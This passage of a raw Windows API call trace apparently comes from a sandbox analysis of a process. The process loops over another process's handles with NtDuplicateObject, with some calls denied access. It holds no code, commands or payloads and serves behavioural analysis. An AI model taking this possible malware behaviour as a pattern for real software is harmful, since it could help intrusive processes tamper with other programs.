TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.834] ResetEvent (hEvent=0xec) returned 1 [0148.834] SetEvent (hEvent=0xe8) returned 1 [0148.834] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.835] NtClose (Handle=0x15c) returned 0x0 [0148.835] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1e8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.835] ResetEvent (hEvent=0xec) returned 1 [0148.835] SetEvent (hEvent=0xe8) returned 1 [0148.835] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.835] NtClose (Handle=0x15c) returned 0x0 [0148.836] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1ec, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.836] ResetEvent (hEvent=0xec) returned 1 [0148.836] SetEvent (hEvent=0xe8) returned 1 [0148.836] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.836] NtClose (Handle=0x15c) returned 0x0 [0148.836] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1f0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.836] ResetEvent (hEvent=0xec) returned 1 [0148.836] SetEvent (hEvent=0xe8) returned 1 [0148.836] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.837] NtClose (Handle=0x15c) returned 0x0 [0148.837] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1f4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.837] ResetEvent (hEvent=0xec) returned 1 [0148.837] SetEvent (hEvent=0xe8) returned 1 [0148.837] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.837] NtClose (Handle=0x15c) returned 0x0 [0148.837] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1f8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.837] ResetEvent (hEvent=0xec) returned 1 [0148.837] SetEvent (hEvent=0xe8) returned 1 [0148.837] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.838] NtClose (Handle=0x15c) returned 0x0 [0148.838] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1fc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.838] ResetEvent (hEvent=0xec) returned 1 [0148.838] SetEvent (hEvent=0xe8) returned 1 [0148.838] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.838] NtClose (Handle=0x15c) returned 0x0 [0148.838] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x200, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.838] ResetEvent (hEvent=0xec) returned 1 [0148.838] SetEvent (hEvent=0xe8) returned 1 [0148.839] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.839] NtClose (Handle=0x15c) returned 0x0 [0148.839] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x204, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.839] ResetEvent (hEvent=0xec) returned 1 [0148.839] SetEvent (hEvent=0xe8) returned 1 [0148.839] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.840] NtClose (Handle=0x15c) returned 0x0 [0148.840] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x208, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.840] ResetEvent (hEvent=0xec) returned 1 [0148.840] SetEvent (hEvent=0xe8) returned 1 [0148.840] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.840] NtClose (Handle=0x15c) returned 0x0 [0148.840] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x20c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.840] ResetEvent (hEvent=0xec) returned 1 [0148.840] SetEvent (hEvent=0xe8) returned 1 [0148.840] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.841] NtClose (Handle=0x15c) returned 0x0 [0148.841] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x210, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.841] ResetEvent (hEvent=0xec) returned 1 [0148.841] SetEvent (hEvent=0xe8) returned 1 [0148.841] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.841] NtClose (Handle=0x15c) returned 0x0 [0148.841] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x214, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.841] ResetEvent (hEvent=0xec) returned 1 [0148.841] SetEvent (hEvent=0xe8) returned 1 [0148.841] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.842] NtClose (Handle=0x15c) returned 0x0 [0148.842] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x218, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.842] ResetEvent (hEvent=0xec) returned 1 [0148.842] SetEvent (hEvent=0xe8) returned 1 [0148.842] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.842] NtClose (Handle=0x15c) returned 0x0 [0148.843] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x21c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.843] ResetEvent (hEvent=0xec) returned 1 [0148.843] SetEvent (hEvent=0xe8) returned 1 [0148.843] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.843] NtClose (Handle=0x15c) returned 0x0 [0148.843] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x220, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.843] ResetEvent (hEvent=0xec) returned 1 [0148.843] SetEvent (hEvent=0xe8) returned 1 [0148.843] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.844] NtClose (Handle=0x15c) returned 0x0 [0148.844] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x224, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.844] ResetEvent (hEvent=0xec) returned 1 [0148.844] SetEvent (hEvent=0xe8) returned 1 [0148.844] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.844] NtClose (Handle=0x15c) returned 0x0 [0148.844] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x228, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.844] ResetEvent (hEvent=0xec) returned 1 [0148.844] SetEvent (hEvent=0xe8) returned 1 [0148.844] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.845] NtClose (Handle=0x15c) returned 0x0 [0148.845] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x22c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.845] ResetEvent (hEvent=0xec) returned 1 [0148.845] SetEvent (hEvent=0xe8) returned 1 [0148.845] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.845] NtClose (Handle=0x15c) returned 0x0 [0148.845] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x230, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.846] ResetEvent (hEvent=0xec) returned 1 [0148.846] SetEvent (hEvent=0xe8) returned 1 [0148.846] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.846] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.846] NtClose (Handle=0x15c) returned 0x0 [0148.846] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x234, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.846] ResetEvent (hEvent=0xec) returned 1 [0148.846] SetEvent (hEvent=0xe8) returned 1 [0148.846] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.847] NtClose (Handle=0x15c) returned 0x0 [0148.847] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x238, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.847] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x23c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.847] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x240, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.847] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x244, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.847] ResetEvent (hEvent=0xec) returned 1 [0148.847] SetEvent (hEvent=0xe8) returned 1 [0148.847] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.847] NtClose (Handle=0x15c) returned 0x0 [0148.847] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x248, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.847] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x24c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.847] ResetEvent (hEvent=0xec) returned 1 [0148.847] SetEvent (hEvent=0xe8) returned 1 [0148.848] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.848] NtClose (Handle=0x15c) returned 0x0 [0148.848] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x250, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.848] ResetEvent (hEvent=0xec) returned 1 [0148.848] SetEvent (hEvent=0xe8) returned 1 [0148.848] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.848] NtClose (Handle=0x15c) returned 0x0 [0148.849] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x254, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.849] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x258, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.849] ResetEvent (hEvent=0xec) returned 1 [0148.849] SetEvent (hEvent=0xe8) returned 1 [0148.849] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.849] NtClose (Handle=0x15c) returned 0x0 [0148.849] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x25c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.849] ResetEvent (hEvent=0xec) returned 1 [0148.849] SetEvent (hEvent=0xe8) returned 1 [0148.849] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.850] NtClose (Handle=0x15c) returned 0x0 [0148.850] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x260, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.850] ResetEvent (hEvent=0xec) returned 1 [0148.850] SetEvent (hEvent=0xe8) returned 1 [0148.850] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.853] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.853] NtClose (Handle=0x15c) returned 0x0 [0148.853] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x264, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.853] ResetEvent (hEvent=0xec) returned 1 [0148.853] SetEvent (hEvent=0xe8) returned 1 [0148.853] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.853] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.853] NtClose (Handle=0x15c) returned 0x0 [0148.853] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x268, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.853] ResetEvent (hEvent=0xec) returned 1 [0148.853] SetEvent (hEvent=0xe8) returned 1 [0148.853] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.854] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.854] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.854] NtClose (Handle=0x15c) returned 0x0 [0148.854] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x26c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.854] ResetEvent (hEvent=0xec) returned 1 [0148.854] SetEvent (hEvent=0xe8) returned 1 [0148.854] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.854] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.854] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.854] NtClose (Handle=0x15c) returned 0x0 [0148.854] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x270, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.854] ResetEvent (hEvent=0xec) returned 1 [0148.854] SetEvent (hEvent=0xe8) returned 1 [0148.854] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.855] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.855] NtClose (Handle=0x15c) returned 0x0 [0148.855] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x274, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.855] ResetEvent (hEvent=0xec) returned 1 [0148.855] SetEvent (hEvent=0xe8) returned 1 [0148.855] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.856] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.856] NtClose (Handle=0x15c) returned 0x0 [0148.856] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x278, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.856] ResetEvent (hEvent=0xec) returned 1 [0148.856] SetEvent (hEvent=0xe8) returned 1 [0148.856] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.856] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.856] NtClose (Handle=0x15c) returned 0x0 [0148.856] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x27c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.856] ResetEvent (hEvent=0xec) returned 1 [0148.856] SetEvent (hEvent=0xe8) returned 1 [0148.856] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.857] NtClose (Handle=0x15c) returned 0x0 [0148.857] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x280, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.857] ResetEvent (hEvent=0xec) returned 1 [0148.857] SetEvent (hEvent=0xe8) returned 1 [0148.857] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.857] NtClose (Handle=0x15c) returned 0x0 [0148.857] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x284, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.858] ResetEvent (hEvent=0xec) returned 1 [0148.858] SetEvent (hEvent=0xe8) returned 1 [0148.858] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.858] NtClose (Handle=0x15c) returned 0x0 [0148.858] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x288, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.858] ResetEvent (hEvent=0xec) returned 1 [0148.858] SetEvent (hEvent=0xe8) returned 1 [0148.858] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.858] NtClose (Handle=0x15c) returned 0x0 [0148.859] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x28c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.859] ResetEvent 